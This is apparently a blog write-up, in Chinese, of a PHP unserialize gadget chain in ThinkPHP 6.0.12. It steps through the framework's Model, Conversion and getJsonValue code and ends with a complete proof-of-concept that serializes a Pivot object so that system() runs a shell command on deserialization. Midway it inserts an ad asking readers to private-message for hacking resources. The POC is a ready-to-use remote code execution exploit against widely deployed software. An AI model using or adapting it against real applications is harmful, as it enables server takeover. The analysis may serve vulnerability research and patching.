環境
Thinkphp6.0.12LTS(目前最新版本);
PHP7.3.4。
安裝
composer create-project topthink/think tp6
測試代碼
漏洞分析
漏洞起點不是__desturct就是__wakeup全局搜索下,起點在vendortopthinkthink-ormsrcModel.php
只要把this->lazySave設為True,就會調用了save方法。
【一>所有資源關注我,私信回復“資料”獲取<一】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
跟進save方法,漏洞方法是updateData,但需要繞過①且讓②為True,①調用isEmpty方法。
public function save(array $data = [], string $sequence = null): bool
{
// 數據對象賦值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
跟進isEmpty方法,只要$this->data不為空就行。
$this->trigger方法默認返回就不是false,跟進updateData方法。漏洞方法是checkAllowFields默認就會觸發。
protected function updateData(): bool
{
// 事件回調
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 獲取有更新的數據
$data = $this->getChangedData();
if (empty($data)) {
// 關聯更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自動寫入更新時間
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 檢查允許字段
$allowFields = $this->checkAllowFields();
跟進checkAllowFields方法,漏洞方法是db,默認也是會觸發該方法,繼續跟進。
protected function checkAllowFields(): array
{
// 檢測字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
跟進db方法,存在$this->table . $this->suffix字符串拼接,可以觸發__toString魔術方法,把$this->table設為觸發__toString類即可。
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
全局搜索__toString方法,最后選擇vendortopthinkthink-ormsrcmodelconcernConversion.php類中的__toString方法。
跟進__toString方法,調用了toJson方法。
跟進toJson方法,調用了toArray方法,然后以JSON格式返回。
跟進toArray方法,漏洞方法是getAtrr默認就會觸發,只需把$data設為數組就行。
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并關聯數據
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 關聯模型對象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 關聯模型對象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
跟進getAttr方法,漏洞方法是getValue,但傳入getValue方法中的$value是由getData方法得到的。
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
跟進getData方法,$this->data可控,$fieldName來自getRealFieldName方法。
跟進getRealFieldName方法,默認直接返回傳入的參數。所以$fieldName也可控,也就是傳入getValue的$value參數可控。
跟進getValue方法,在Thinkphp6.0.8觸發的漏洞點在①處,但在Thinkphp6.0.12時已經對傳入的$closure進行判斷。此次漏洞方法的getJsonValue方法。但需要經過兩個if判斷,$this->withAttr和$this->json都可控,可順利進入getJsonValue方法。
protected function getValue(string $name, $value, $relation = false)
{
// 檢測屬性獲取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
跟進getJsonValue方法,觸發漏洞的點在$closure($value[$key], $value)只要令$this->jsonAssoc為True就行。
$closure和$value都可控。
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
完整POP鏈條
POC編寫
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['dir']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace thinkmodel{
use thinkModel;
class Pivot extends Model{
}
}
namespace{
echo(base64_encode(serialize(new thinkmodelPivot(new thinkmodelPivot()))));
}
利用